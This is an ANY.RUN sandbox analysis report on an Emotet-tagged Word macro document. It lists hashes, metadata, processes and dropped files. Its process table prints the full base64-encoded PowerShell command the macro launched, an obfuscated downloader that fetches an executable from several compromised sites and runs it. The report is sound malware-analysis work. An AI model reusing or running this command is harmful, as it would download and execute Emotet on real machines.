analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

bf948c6a7019bf94c1e1d624d3e2dfdcd2033645fb1a7898856199fe1c961e17

Full analysis: https://app.any.run/tasks/5aede144-7471-40da-981f-3d6f431a0447
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: October 14, 2019, 13:05:43
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Sports & Games, Subject: Cambridgeshire, Author: Pamela Romaguera, Keywords: Fantastic, Comments: Squares, Template: Normal.dotm, Last Saved By: Freeman Parker, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Oct 11 07:39:00 2019, Last Saved Time/Date: Fri Oct 11 07:39:00 2019, Number of Pages: 1, Number of Words: 30, Number of Characters: 175, Security: 0
MD5:

AAEEF0153572F9E3FA1CB229724CF922

SHA1:

CCC24980CFFA802F8122D75FB9BE959CE1290E4C

SHA256:

BF948C6A7019BF94C1E1D624D3E2DFDCD2033645FB1A7898856199FE1C961E17

SSDEEP:

3072:Xaa3bgB0eOY5CTsdAgUObYJ0m9zGAkbtO2lY2Go//6rGHsrw9sSJ6wKlutfMV:Xaa3bgBfb00dRx//MGHsrksSJ69q

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Executed via WMI

      • powershell.exe (PID: 2916)

    • Creates files in the user directory

      • powershell.exe (PID: 2916)

    • PowerShell script executed

      • powershell.exe (PID: 2916)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 504)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 504)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Sports & Games
Subject: Cambridgeshire
Author: Pamela Romaguera
Keywords: Fantastic
Comments: Squares
Template: Normal.dotm
LastModifiedBy: Freeman Parker
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:10:11 06:39:00
ModifyDate: 2019:10:11 06:39:00
Pages: 1
Words: 30
Characters: 175
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Mosciski - Wolff
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 204
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
Manager: Runte
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
2
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
504"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\bf948c6a7019bf94c1e1d624d3e2dfdcd2033645fb1a7898856199fe1c961e17.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2916powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiADQAMABiADQAOQA4ADAANwA4ADAAMwAwAD0AJwB4ADcAMwBiADUAMwA1ADIAMAA0ADYAMQAnADsAJABjAGMAYgAzAHgAMgAxADYANwBiADYAMQAgAD0AIAAnADUAMwA5ACcAOwAkAHgANwA4ADAAMwB4AHgANAAxADgAMAAwAD0AJwBiADgAMwAwADAANAA1AGMAYwAwADUAYwAnADsAJABjADcANgAwADAAOQAwADQAMAA1ADcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGMAYwBiADMAeAAyADEANgA3AGIANgAxACsAJwAuAGUAeABlACcAOwAkAGMAMAA2AGIANQB4ADgAMQA5ADAAeAA2AGMAPQAnAGIANQA0ADAAMAA0ADAAMQAyADcAMAAnADsAJABiADQAMgAwADMAMAA2ADYAOAAxADUAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBMAGkAZQBuAHQAOwAkAGMAMgAwADEANgAxAGMAOAA3ADEAMQA2AD0AJwBoAHQAdABwADoALwAvAHQAaABpAGoAcwBtAG8AcgBsAGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADUAMgAwADcANwAvACoAaAB0AHQAcAA6AC8ALwB0AGgAZQBnAGkAbwBpAGcAYQBzAC4AYwBvAG0ALwBMAG8AZwBpAG4ALwAxAGcAOQA4AC8AKgBoAHQAdABwADoALwAvAHkAeQA2ADIANgAyAC4AYwBvAG0ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAGgANgA3ADAALwAqAGgAdAB0AHAAOgAvAC8AdABoAGUAbgBlAHcAcwA0AHYAaQBlAHcAcwAuAGMAbwBtAC8AOQBtAGMAbQBuAHAAMwAvADIAaQAzADYALwAqAGgAdAB0AHAAOgAvAC8AcQB1AGUAZQBuAGkAZQBrAGEAdwBhAGIAZQAuAGMAbwBtAC8AYQBsAGwAXwBwAGgAbwB0AG8AcwAvADQAZQBsADcANQAvACcALgAiAHMAcABsAGAASQB0ACIAKAAnACoAJwApADsAJABiADAANQBjADAAYwA5ADMAYwAwADUANwAwAD0AJwBiADAANAAxADEAeAA5ADMAYgAxADEANQAwACcAOwBmAG8AcgBlAGEAYwBoACgAJAB4AHgAeABiADAANABiAGIAOAAzADMANQAwACAAaQBuACAAJABjADIAMAAxADYAMQBjADgANwAxADEANgApAHsAdAByAHkAewAkAGIANAAyADAAMwAwADYANgA4ADEANQAuACIAZABgAG8AVwBOAEwAbwBgAEEARABGAGAASQBsAEUAIgAoACQAeAB4AHgAYgAwADQAYgBiADgAMwAzADUAMAAsACAAJABjADcANgAwADAAOQAwADQAMAA1ADcAKQA7ACQAYgA3ADAAMAAwADAANQAwADgAeAA1AD0AJwBiADAAMwBjAHgAMAAwADQAMQA4ADAAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABjADcANgAwADAAOQAwADQAMAA1ADcAKQAuACIATABFAE4AYABHAHQAaAAiACAALQBnAGUAIAAzADUAOAA2ADAAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAGAAQQByAHQAIgAoACQAYwA3ADYAMAAwADkAMAA0ADAANQA3ACkAOwAkAGIAMAA5ADgAMAAwADAANAAwADcAMAA3AD0AJwB4ADAAYwAwADIANQAwADEAMABiADUAYgA5ACcAOwBiAHIAZQBhAGsAOwAkAGMAYwB4AHgANABiADAAMAA0ADgAeAA9ACcAYwA5ADEANAA5AHgAMwA1ADUAeAA2ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHgAeAA3AGMAOQB4AGMAYgAwADQAMAA2ADgAPQAnAGMAOQBiADEAYgA2ADEAMQAwAHgANAAnAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 044
Read events
682
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
15

Dropped files

PID
Process
Filename
Type
504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRC54E.tmp.cvr —
MD5:—
SHA256:—
2916powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\80BQEDZYTLNPEKNZ6IEY.temp —
MD5:—
SHA256:—
504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CE001580.wmfwmf
MD5:EBD514E9108118A7EB4523A8A700B474
SHA256:8870C147A67425E86513DCBEE2A985B5C8BA26453A69E415FD28781E012DEECE
504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A83AF922.wmfwmf
MD5:834C79652706C8331818AA79077B2853
SHA256:49095F07E813FF26F29B6AD6DCB9A45707DD1D1BD37AF80253875712F2C4F210
504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\45B672F4.wmfwmf
MD5:8CF8BAF5D1B6A52D17BB7E527AE7916D
SHA256:CD2B6F60D4626D972A11857BAACA8903649EC4191E9A8B055BE1C30B51B68153
504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\39E1978E.wmfwmf
MD5:F9031FD21DA0F51C35FBE71607F5A358
SHA256:8692BDE0A063FDD08FB894EAE119C2C117E151A493EB3062D6EE99104A28E792
504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$948c6a7019bf94c1e1d624d3e2dfdcd2033645fb1a7898856199fe1c961e17.docpgc
MD5:85647E820357A3AD267CBE6A2D6F4887
SHA256:C434C48B066539DF48AC3B7261720F57A1690FB1C93E6F5AEA8BD99DA2053651
504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:D1F290D518C738300F975B3B1F0695D3
SHA256:D067271EB1AB7CA1B93B1A7C42621BAD3625FB96019605EB2C3994C7E4585A78
504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\75E50E65.wmfwmf
MD5:9A9DD61C403B644E15DB3A64AE95129B
SHA256:29F90726EBEE40843443F29A4F671EF70A9E4BB385EDCF9E0832EDDBB6D55F74
504WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BF40C6BA.wmfwmf
MD5:C05A6D1B58DCBDC99CE474C796955CF2
SHA256:BBA0E7A68F2510339998D1EDBEC5439FB6FBDA54016BAFA686C370397A18229B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

No data

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
bf948c6a7019bf94c1e1d624d3e2dfdcd2033645fb1a7898856199fe1c961e17